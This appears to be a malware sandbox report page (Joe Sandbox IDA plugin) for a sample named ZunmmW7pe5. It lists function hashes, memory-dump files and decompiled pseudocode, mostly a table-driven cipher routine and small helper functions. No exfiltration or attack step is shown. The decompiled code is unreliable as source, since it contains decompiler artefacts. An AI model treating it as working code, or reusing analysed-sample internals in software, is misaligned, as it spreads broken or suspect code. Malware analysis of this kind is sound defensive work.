Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff448818388364415b3bf475cafeec9b4bf3b4a770fdccd80d65ae78e58327d5
Instruction ID: e07816efff04740e594651798dca7a6a58b4a7f265476c65ead049cecad0ef0c
Opcode Fuzzy Hash: ff448818388364415b3bf475cafeec9b4bf3b4a770fdccd80d65ae78e58327d5
Instruction Fuzzy Hash: 3F52B573A195D08FE394CF29A0907BDBFF1E38A745B844122EBDA93A49D63CD915CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E372F6A0 Relevance: .6, Instructions: 604
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E372F6A0(long long __rbx, void* __rcx, void* _a8) {
				intOrPtr _v88;
				long long _t25;
				long long _t31;
				void* _t33;
				void* _t36;

				_t36 = _t33;
				 *((long long*)(_t36 + 8)) = __rbx;
				_t25 = _t36 - 0x40;
				_v88 = 1;
				 *((long long*)(_t36 - 0x48)) = _t25;
				 *((long long*)(_t36 - 0x50)) = 7;
				 *((long long*)(_t36 - 0x40)) = _t25;
				 *((long long*)(_t36 - 0x38)) = _t25;
				 *((long long*)(_t36 - 0x30)) = _t25;
				 *((long long*)(_t36 - 0x28)) = _t25;
				 *((long long*)(_t36 - 0x20)) = _t25;
				 *((long long*)(_t36 - 0x18)) = _t25;
				 *((long long*)(_t36 - 0x10)) = _t25;
				if ( *((long long*)(__rcx + 8)) - 0xc >= 0) goto 0xe372f75a;
				E00007FF77FF7E373FED4(_t25, __rcx);
				_t31 = _t25;
				if (_t25 != 0) goto 0xe372f710;
				_t16 = _t31 - 0x10; // -16
				return _t16;
			}

0x7ff7e372f6a0
0x7ff7e372f6a3
0x7ff7e372f6ac
0x7ff7e372f6b0
0x7ff7e372f6b8
0x7ff7e372f6c1
0x7ff7e372f6ce
0x7ff7e372f6d2
0x7ff7e372f6d6
0x7ff7e372f6da
0x7ff7e372f6de
0x7ff7e372f6e2
0x7ff7e372f6e6
0x7ff7e372f6ea
0x7ff7e372f6f2
0x7ff7e372f6f7
0x7ff7e372f6fd
0x7ff7e372f6ff
0x7ff7e372f70f

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e5e170fc19a531fe405ccab6e38378e779bafc22404aaee22a088c641ae7e9b
Instruction ID: 9946bc75bd773dcff5d061a729e6657ef9a1f2f3c3d29a12eaf3e165fd63a855
Opcode Fuzzy Hash: 0e5e170fc19a531fe405ccab6e38378e779bafc22404aaee22a088c641ae7e9b
Instruction Fuzzy Hash: E2225C73B317648BDB649B3AC088E5C37E4E7587847A6242ADA1D83B41FA77D490CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E373A020 Relevance: .5, Instructions: 490
COMMONCrypto

Download Yara Rule

C-Code - Quality: 85%

			E00007FF77FF7E373A020(long long __rbx, signed int __rcx, void* __rdx, long long __rsi, long long __rbp, signed int __r8, signed int __r9, long long _a8, long long _a16, long long _a24, void* _a32) {
				signed char _v60;
				signed char _v64;
				signed char _v68;
				signed int _t331;
				unsigned int _t332;
				signed int _t348;
				unsigned int _t349;
				void* _t351;
				signed int* _t353;
				signed int* _t354;
				signed int* _t355;
				signed int* _t356;
				signed long long _t365;
				signed long long _t371;
				signed long long _t377;
				signed long long _t383;
				signed long long _t389;
				signed long long _t395;
				signed long long _t401;
				signed long long _t407;
				signed long long _t413;
				signed long long _t419;
				signed long long _t425;
				void* _t437;
				signed char* _t438;
				signed long long _t441;
				signed long long _t442;
				signed long long _t443;
				signed long long _t444;
				signed long long _t445;
				unsigned long long _t446;
				signed long long _t448;
				signed long long _t449;
				signed long long _t450;
				signed long long _t451;
				signed long long _t452;
				unsigned long long _t453;
				char* _t456;

				_a24 = __rbp;
				_a32 = __r9;
				_t438 = _t437 - 0x20;
				r13d =  *__rcx;
				_t353 = __rcx + 4;
				r15d =  *__r8 & 0x000000ff;
				r14d =  *(__r8 + 0xc) & 0x000000ff;
				r15d = r15d << 8;
				r15d = r15d |  *(__r8 + 1) & 0x000000ff;
				r14d = r14d << 8;
				r15d = r15d << 8;
				r15d = r15d |  *(__r8 + 2) & 0x000000ff;
				r15d = r15d << 8;
				r15d = r15d |  *(__r8 + 3) & 0x000000ff;
				r15d = r15d ^  *_t353;
				r14d = r14d |  *(__r8 + 0xd) & 0x000000ff;
				r14d = r14d << 8;
				r14d = r14d |  *(__r8 + 0xe) & 0x000000ff;
				r14d = r14d << 8;
				r14d = r14d |  *(__r8 + 0xf) & 0x000000ff;
				r14d = r14d ^ _t353[3];
				_t354 =  &(_t353[4]);
				_t351 = r13d;
				if (_t351 == 0) goto 0xe373a6d9;
				_a8 = __rbx;
				_a16 = __rsi;
				asm("o16 nop [eax+eax]");
				r8d = _t354[1];
				r9d =  *_t354;
				_t441 = __r8 ^ __rcx;
				r11d =  *(__rdx + 0x7ff7e375d050) & 0x000000ff;
				r11d = r11d | ( *((_t441 >> 0x18) + 0x7ff7e375d150) & 0x000000ff) << 0x00000008;
				_t365 = _t441 >> 8;
				r11d = r11d << 8;
				r11d = r11d |  *(__rdx + 0x7ff7e375cdf0) & 0x000000ff;
				r11d = r11d << 8;
				r11d = r11d |  *(_t365 + 0x7ff7e375cf50) & 0x000000ff;
				_t448 = __r9 ^ _t365;
				r10d = r11d;
				asm("inc ecx");
				r8d =  *(__rdx + 0x7ff7e375d150) & 0x000000ff;
				r8d = r8d | ( *((_t448 >> 0x18) + 0x7ff7e375cf50) & 0x000000ff) << 0x00000008;
				_t371 = _t448 >> 8;
				r8d = r8d << 8;
				r8d = r8d |  *(__rdx + 0x7ff7e375d050) & 0x000000ff;
				r9d = _t354[2];
				r8d = r8d << 8;
				r8d = r8d |  *(_t371 + 0x7ff7e375cdf0) & 0x000000ff;
				r10d = r10d ^ r8d;
				r8d = _t354[3];
				asm("rol ecx, 0x10");
				r11d = r11d ^ r10d;
				asm("ror ecx, 0x8");
				r10d = r10d ^ r11d;
				r14d = r14d ^ r10d;
				asm("ror ebx, 0x8");
				_t442 = _t441 ^ _t371;
				r11d =  *(__rdx + 0x7ff7e375d050) & 0x000000ff;
				r11d = r11d | ( *((_t442 >> 0x18) + 0x7ff7e375d150) & 0x000000ff) << 0x00000008;
				_t377 = _t442 >> 8;
				r11d = r11d << 8;
				r11d = r11d |  *(__rdx + 0x7ff7e375cdf0) & 0x000000ff;
				r11d = r11d << 8;
				r11d = r11d |  *(_t377 + 0x7ff7e375cf50) & 0x000000ff;
				r10d = r11d;
				_t449 = _t448 ^ _t377;
				asm("inc ecx");
				r8d =  *(__rdx + 0x7ff7e375d150) & 0x000000ff;
				r8d = r8d | ( *((_t449 >> 0x18) + 0x7ff7e375cf50) & 0x000000ff) << 0x00000008;
				_t383 = _t449 >> 8;
				r8d = r8d << 8;
				r8d = r8d |  *(__rdx + 0x7ff7e375d050) & 0x000000ff;
				r9d = _t354[4];
				r8d = r8d << 8;
				r8d = r8d |  *(_t383 + 0x7ff7e375cdf0) & 0x000000ff;
				r10d = r10d ^ r8d;
				r8d = _t354[5];
				asm("rol ecx, 0x10");
				r11d = r11d ^ r10d;
				asm("ror ecx, 0x8");
				r10d = r10d ^ r11d;
				asm("ror edi, 0x8");
				_t443 = _t442 ^ _t383;
				r11d =  *(__rdx + 0x7ff7e375d050) & 0x000000ff;
				r11d = r11d | ( *((_t443 >> 0x18) + 0x7ff7e375d150) & 0x000000ff) << 0x00000008;
				_t389 = _t443 >> 8;
				r11d = r11d << 8;
				r11d = r11d |  *(__rdx + 0x7ff7e375cdf0) & 0x000000ff;
				r11d = r11d << 8;
				r11d = r11d |  *(_t389 + 0x7ff7e375cf50) & 0x000000ff;
				_t450 = _t449 ^ _t389;
				r10d = r11d;
				asm("inc ecx");
				r8d =  *(__rdx + 0x7ff7e375d150) & 0x000000ff;
				r8d = r8d | ( *((_t450 >> 0x18) + 0x7ff7e375cf50) & 0x000000ff) << 0x00000008;
				_t395 = _t450 >> 8;
				r8d = r8d << 8;
				r8d = r8d |  *(__rdx + 0x7ff7e375d050) & 0x000000ff;
				r8d = r8d << 8;
				r8d = r8d |  *(_t395 + 0x7ff7e375cdf0) & 0x000000ff;
				r9d = _t354[6];
				r10d = r10d ^ r8d;
				r8d = _t354[7];
				asm("rol ecx, 0x10");
				r11d = r11d ^ r10d;
				asm("ror ecx, 0x8");
				r10d = r10d ^ r11d;
				r14d = r14d ^ r10d;
				asm("ror esi, 0x8");
				_t444 = _t443 ^ _t395;
				r11d =  *(__rdx + 0x7ff7e375d050) & 0x000000ff;
				r11d = r11d | ( *((_t444 >> 0x18) + 0x7ff7e375d150) & 0x000000ff) << 0x00000008;
				_t401 = _t444 >> 8;
				r11d = r11d << 8;
				r11d = r11d |  *(__rdx + 0x7ff7e375cdf0) & 0x000000ff;
				r11d = r11d << 8;
				r11d = r11d |  *(_t401 + 0x7ff7e375cf50) & 0x000000ff;
				_t451 = _t450 ^ _t401;
				r10d = r11d;
				asm("inc ecx");
				r8d =  *(__rdx + 0x7ff7e375d150) & 0x000000ff;
				r8d = r8d | ( *((_t451 >> 0x18) + 0x7ff7e375cf50) & 0x000000ff) << 0x00000008;
				_t407 = _t451 >> 8;
				r8d = r8d << 8;
				r8d = r8d |  *(__rdx + 0x7ff7e375d050) & 0x000000ff;
				r8d = r8d << 8;
				r8d = r8d |  *(_t407 + 0x7ff7e375cdf0) & 0x000000ff;
				r10d = r10d ^ r8d;
				r8d = _t354[9];
				asm("rol ecx, 0x10");
				r11d = r11d ^ r10d;
				asm("ror ecx, 0x8");
				r10d = r10d ^ r11d;
				r15d = r10d;
				asm("inc ecx");
				r15d = r15d ^ r10d ^ r15d ^ r11d;
				_t445 = _t444 ^ _t407;
				r15d = r15d ^ r11d;
				r11d =  *(__rdx + 0x7ff7e375d050) & 0x000000ff;
				r11d = r11d | ( *((_t445 >> 0x18) + 0x7ff7e375d150) & 0x000000ff) << 0x00000008;
				r9d = _t354[8];
				r11d = r11d << 8;
				_t413 = _t445 >> 8;
				r11d = r11d |  *(__rdx + 0x7ff7e375cdf0) & 0x000000ff;
				r11d = r11d << 8;
				r11d = r11d |  *(_t413 + 0x7ff7e375cf50) & 0x000000ff;
				_t452 = _t451 ^ _t413;
				r10d = r11d;
				asm("inc ecx");
				r8d =  *(__rdx + 0x7ff7e375d150) & 0x000000ff;
				r8d = r8d | ( *((_t452 >> 0x18) + 0x7ff7e375cf50) & 0x000000ff) << 0x00000008;
				_t419 = _t452 >> 8;
				r8d = r8d << 8;
				r8d = r8d |  *(__rdx + 0x7ff7e375d050) & 0x000000ff;
				r9d = _t354[0xa];
				r8d = r8d << 8;
				r8d = r8d |  *(_t419 + 0x7ff7e375cdf0) & 0x000000ff;
				r10d = r10d ^ r8d;
				r8d = _t354[0xb];
				asm("rol ecx, 0x10");
				r11d = r11d ^ r10d;
				asm("ror ecx, 0x8");
				r10d = r10d ^ r11d;
				r14d = r14d ^ r10d;
				asm("ror edi, 0x8");
				_t446 = _t445 ^ _t419;
				r11d =  *(__rdx + 0x7ff7e375d050) & 0x000000ff;
				r11d = r11d | ( *((_t446 >> 0x18) + 0x7ff7e375d150) & 0x000000ff) << 0x00000008;
				_t425 = _t446 >> 8;
				r11d = r11d << 8;
				r11d = r11d |  *(__rdx + 0x7ff7e375cdf0) & 0x000000ff;
				r11d = r11d << 8;
				r11d = r11d |  *(_t425 + 0x7ff7e375cf50) & 0x000000ff;
				_t453 = _t452 ^ _t425;
				r10d = r11d;
				asm("inc ecx");
				r8d =  *(__rdx + 0x7ff7e375d150) & 0x000000ff;
				_t355 =  &(_t354[0xc]);
				r8d = r8d | ( *((_t453 >> 0x18) + 0x7ff7e375cf50) & 0x000000ff) << 0x00000008;
				r8d = r8d << 8;
				r8d = r8d |  *(__rdx + 0x7ff7e375d050) & 0x000000ff;
				r8d = r8d << 8;
				r8d = r8d |  *((_t453 >> 8) + 0x7ff7e375cdf0) & 0x000000ff;
				r10d = r10d ^ r8d;
				asm("rol ecx, 0x10");
				r11d = r11d ^ r10d;
				asm("ror ecx, 0x8");
				r10d = r10d ^ r11d;
				asm("ror ecx, 0x8");
				r15d = r15d ^ r10d ^ r11d;
				r13d = r13d - 1;
				if (_t351 == 0) goto 0xe373a6ca;
				asm("rol ecx, 1");
				_t348 = (((( *(__r8 + 4) & 0x000000ff) << 0x00000008 |  *(__r8 + 5) & 0x000000ff) << 0x00000008 |  *(__r8 + 6) & 0x000000ff) << 0x00000008 |  *(__r8 + 7) & 0x000000ff) ^ _t353[1] ^ r10d ^ r10d ^ r10d ^  *_t355 & r15d;
				r15d = r15d ^ (_t355[1] | _t348);
				_t331 = r10d ^ r10d ^ r10d ^ (((( *(__r8 + 8) & 0x000000ff) << 0x00000008 |  *(__r8 + 9) & 0x000000ff) << 0x00000008 |  *(__r8 + 0xa) & 0x000000ff) << 0x00000008 |  *(__r8 + 0xb) & 0x000000ff) ^ _t353[2] ^ r11d ^ r11d ^ r11d ^ (_t355[3] | r14d);
				asm("rol ecx, 1");
				r14d = r14d ^ _t355[2] & _t331;
				_t356 =  &(_t355[4]);
				goto 0xe373a110;
				_t456 = _a32;
				_t349 = _t348 ^ _t356[3];
				_t332 = _t331 ^  *_t356;
				r14d = r14d ^ _t356[1];
				r15d = r15d ^ _t356[2];
				 *_t456 = _t332 >> 0x18;
				 *((char*)(_t456 + 1)) = _t332 >> 0x10;
				_v64 = _t332;
				 *((char*)(_t456 + 3)) = _v64 & 0x000000ff;
				 *((char*)(_t456 + 4)) = r14d >> 0x18;
				 *((char*)(_t456 + 5)) = r14d >> 0x10;
				_v68 = _t349;
				_v60 = r14d;
				 *((char*)(_t456 + 7)) = _v60 & 0x000000ff;
				 *((char*)(_t456 + 8)) = r15d >> 0x18;
				 *((char*)(_t456 + 9)) = r15d >> 0x10;
				 *_t438 = r15d;
				 *((char*)(_t456 + 0xb)) =  *_t438 & 0x000000ff;
				 *((char*)(_t456 + 0xc)) = _t349 >> 0x18;
				 *((char*)(_t456 + 0xd)) = _t349 >> 0x10;
				r14d = r14d >> 8;
				r15d = r15d >> 8;
				 *((char*)(_t456 + 0xf)) = _v68 & 0x000000ff;
				 *((intOrPtr*)(_t456 + 0xe)) = bpl;
				 *((intOrPtr*)(_t456 + 2)) = dil;
				 *((intOrPtr*)(_t456 + 6)) = r14b;
				 *((intOrPtr*)(_t456 + 0xa)) = r15b;
				return 0;
			}

0x7ff7e373a020
0x7ff7e373a025
0x7ff7e373a033
0x7ff7e373a037
0x7ff7e373a03a
0x7ff7e373a046
0x7ff7e373a054
0x7ff7e373a059
0x7ff7e373a05d
0x7ff7e373a06b
0x7ff7e373a06f
0x7ff7e373a073
0x7ff7e373a07b
0x7ff7e373a07f
0x7ff7e373a087
0x7ff7e373a0c6
0x7ff7e373a0ce
0x7ff7e373a0d2
0x7ff7e373a0da
0x7ff7e373a0de
0x7ff7e373a0e1
0x7ff7e373a0e5
0x7ff7e373a0e9
0x7ff7e373a0ec
0x7ff7e373a0f2
0x7ff7e373a0fe
0x7ff7e373a107
0x7ff7e373a110
0x7ff7e373a114
0x7ff7e373a119
0x7ff7e373a12d
0x7ff7e373a142
0x7ff7e373a148
0x7ff7e373a14f
0x7ff7e373a15c
0x7ff7e373a163
0x7ff7e373a170
0x7ff7e373a176
0x7ff7e373a179
0x7ff7e373a17f
0x7ff7e373a191
0x7ff7e373a1a6
0x7ff7e373a1ac
0x7ff7e373a1b3
0x7ff7e373a1c0
0x7ff7e373a1c7
0x7ff7e373a1cb
0x7ff7e373a1d8
0x7ff7e373a1db
0x7ff7e373a1de
0x7ff7e373a1e5
0x7ff7e373a1e8
0x7ff7e373a1ee
0x7ff7e373a1f1
0x7ff7e373a1f4
0x7ff7e373a1fa
0x7ff7e373a202
0x7ff7e373a219
0x7ff7e373a22e
0x7ff7e373a234
0x7ff7e373a23b
0x7ff7e373a248
0x7ff7e373a24f
0x7ff7e373a25c
0x7ff7e373a25f
0x7ff7e373a264
0x7ff7e373a267
0x7ff7e373a27c
0x7ff7e373a291
0x7ff7e373a297
0x7ff7e373a29e
0x7ff7e373a2ab
0x7ff7e373a2b2
0x7ff7e373a2b6
0x7ff7e373a2c3
0x7ff7e373a2c6
0x7ff7e373a2c9
0x7ff7e373a2d0
0x7ff7e373a2d3
0x7ff7e373a2d9
0x7ff7e373a2dc
0x7ff7e373a2e5
0x7ff7e373a2ed
0x7ff7e373a304
0x7ff7e373a319
0x7ff7e373a31f
0x7ff7e373a326
0x7ff7e373a333
0x7ff7e373a33a
0x7ff7e373a347
0x7ff7e373a34c
0x7ff7e373a34f
0x7ff7e373a355
0x7ff7e373a367
0x7ff7e373a37c
0x7ff7e373a382
0x7ff7e373a389
0x7ff7e373a396
0x7ff7e373a39d
0x7ff7e373a3aa
0x7ff7e373a3ad
0x7ff7e373a3b1
0x7ff7e373a3b4
0x7ff7e373a3bb
0x7ff7e373a3be
0x7ff7e373a3c4
0x7ff7e373a3c7
0x7ff7e373a3ca
0x7ff7e373a3d0
0x7ff7e373a3d8
0x7ff7e373a3ef
0x7ff7e373a404
0x7ff7e373a40a
0x7ff7e373a411
0x7ff7e373a41e
0x7ff7e373a425
0x7ff7e373a432
0x7ff7e373a437
0x7ff7e373a43a
0x7ff7e373a43d
0x7ff7e373a452
0x7ff7e373a467
0x7ff7e373a46d
0x7ff7e373a474
0x7ff7e373a481
0x7ff7e373a488
0x7ff7e373a495
0x7ff7e373a498
0x7ff7e373a49b
0x7ff7e373a4a2
0x7ff7e373a4a5
0x7ff7e373a4ab
0x7ff7e373a4ae
0x7ff7e373a4b4
0x7ff7e373a4b7
0x7ff7e373a4bd
0x7ff7e373a4c0
0x7ff7e373a4c3
0x7ff7e373a4d7
0x7ff7e373a4ec
0x7ff7e373a4ef
0x7ff7e373a4f3
0x7ff7e373a4fa
0x7ff7e373a50a
0x7ff7e373a511
0x7ff7e373a51e
0x7ff7e373a524
0x7ff7e373a527
0x7ff7e373a52a
0x7ff7e373a53f
0x7ff7e373a554
0x7ff7e373a55a
0x7ff7e373a561
0x7ff7e373a56e
0x7ff7e373a575
0x7ff7e373a579
0x7ff7e373a586
0x7ff7e373a589
0x7ff7e373a58c
0x7ff7e373a593
0x7ff7e373a596
0x7ff7e373a59c
0x7ff7e373a59f
0x7ff7e373a5a2
0x7ff7e373a5a8
0x7ff7e373a5b0
0x7ff7e373a5c7
0x7ff7e373a5dc
0x7ff7e373a5e2
0x7ff7e373a5e9
0x7ff7e373a5f6
0x7ff7e373a5fd
0x7ff7e373a60a
0x7ff7e373a60f
0x7ff7e373a612
0x7ff7e373a618
0x7ff7e373a62a
0x7ff7e373a63f
0x7ff7e373a643
0x7ff7e373a650
0x7ff7e373a65d
0x7ff7e373a664
0x7ff7e373a671
0x7ff7e373a674
0x7ff7e373a67a
0x7ff7e373a67d
0x7ff7e373a683
0x7ff7e373a686
0x7ff7e373a68f
0x7ff7e373a695
0x7ff7e373a698
0x7ff7e373a69c
0x7ff7e373a6a3
0x7ff7e373a6a5
0x7ff7e373a6ac
0x7ff7e373a6b5
0x7ff7e373a6bc
0x7ff7e373a6be
0x7ff7e373a6c1
0x7ff7e373a6c5
0x7ff7e373a6ca
0x7ff7e373a6d9
0x7ff7e373a6dc
0x7ff7e373a6de
0x7ff7e373a6e2
0x7ff7e373a6eb
0x7ff7e373a6f4
0x7ff7e373a6f9
0x7ff7e373a702
0x7ff7e373a70d
0x7ff7e373a718
0x7ff7e373a71d
0x7ff7e373a721
0x7ff7e373a72b
0x7ff7e373a736
0x7ff7e373a741
0x7ff7e373a746
0x7ff7e373a74e
0x7ff7e373a758
0x7ff7e373a765
0x7ff7e373a772
0x7ff7e373a776
0x7ff7e373a77a
0x7ff7e373a781
0x7ff7e373a78b
0x7ff7e373a790
0x7ff7e373a795
0x7ff7e373a7a7

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b5424ca27c9649582864b6570c6fc7bad040b81eae8224c57d3003fd3891fdb
Instruction ID: f3c57ce76d050fdf25d69acef9caea7f5dd4d747aecd89ebba2fe26fd0ae7e40
Opcode Fuzzy Hash: 5b5424ca27c9649582864b6570c6fc7bad040b81eae8224c57d3003fd3891fdb
Instruction Fuzzy Hash: 4502A6E232C1F007A76D892E287657D7F91E386783748A06EFFD717A42C52C8905DB64

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3737980 Relevance: .5, Instructions: 485COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9de29f51fe5d6d1d5083184a6c5f71a495b156675500df796915eafe240eddb7
Instruction ID: 046182985f2cb4c460951cd8f58f7458e967a55a28664ed5fc4eacb518f61000
Opcode Fuzzy Hash: 9de29f51fe5d6d1d5083184a6c5f71a495b156675500df796915eafe240eddb7
Instruction Fuzzy Hash: 0A12E173B201F48FE341CBA9A8148BE7FA5F74538A7864216EF8657B41C739E911CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E372F050 Relevance: .5, Instructions: 481
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E372F050(long long __rbx, void* __rcx, void* _a8) {
				intOrPtr _v72;
				long long _t21;
				long long _t27;
				void* _t29;
				void* _t32;

				_t32 = _t29;
				 *((long long*)(_t32 + 8)) = __rbx;
				_t21 = _t32 - 0x30;
				_v72 = 1;
				 *((long long*)(_t32 - 0x38)) = _t21;
				 *((long long*)(_t32 - 0x40)) = 5;
				 *((long long*)(_t32 - 0x30)) = _t21;
				 *((long long*)(_t32 - 0x28)) = _t21;
				 *((long long*)(_t32 - 0x20)) = _t21;
				 *((long long*)(_t32 - 0x18)) = _t21;
				 *((long long*)(_t32 - 0x10)) = _t21;
				if ( *((long long*)(__rcx + 8)) - 8 >= 0) goto 0xe372f100;
				E00007FF77FF7E373FED4(_t21, __rcx);
				_t27 = _t21;
				if (_t21 != 0) goto 0xe372f0b6;
				_t12 = _t27 - 0x10; // -16
				return _t12;
			}

0x7ff7e372f050
0x7ff7e372f053
0x7ff7e372f05c
0x7ff7e372f060
0x7ff7e372f068
0x7ff7e372f071
0x7ff7e372f07e
0x7ff7e372f082
0x7ff7e372f086
0x7ff7e372f08a
0x7ff7e372f08e
0x7ff7e372f092
0x7ff7e372f09b
0x7ff7e372f0a0
0x7ff7e372f0a6
0x7ff7e372f0a8
0x7ff7e372f0b5

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a342a4653041bad1b16e725b123dda8c31837737f9696a9fd036b5142a69d25
Instruction ID: fe4ae3bc22cc5fb9a3875ac2994666a06e89122581e3bd7c7b9cbe18e19cd4a6
Opcode Fuzzy Hash: 4a342a4653041bad1b16e725b123dda8c31837737f9696a9fd036b5142a69d25
Instruction Fuzzy Hash: 7BF1C373B357644BDB74DB3AC088E5C37D5E7587847A6642ADA0E83B41EE76C490CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3716EA0 Relevance: .5, Instructions: 479COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 825a2e3965befd4ef6dfc47c457c8b58b00ce1bbc76485255071da487f9e05c1
Instruction ID: fda45b5c1e0bca2a124ee1d5c0edd6dcbff64eaf92f3576cfb76feb036cc15f4
Opcode Fuzzy Hash: 825a2e3965befd4ef6dfc47c457c8b58b00ce1bbc76485255071da487f9e05c1
Instruction Fuzzy Hash: 8112E273B201F48FE341CBA9A8148BE7FA5F74538E7864216EB8657B41C739E911CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3717650 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
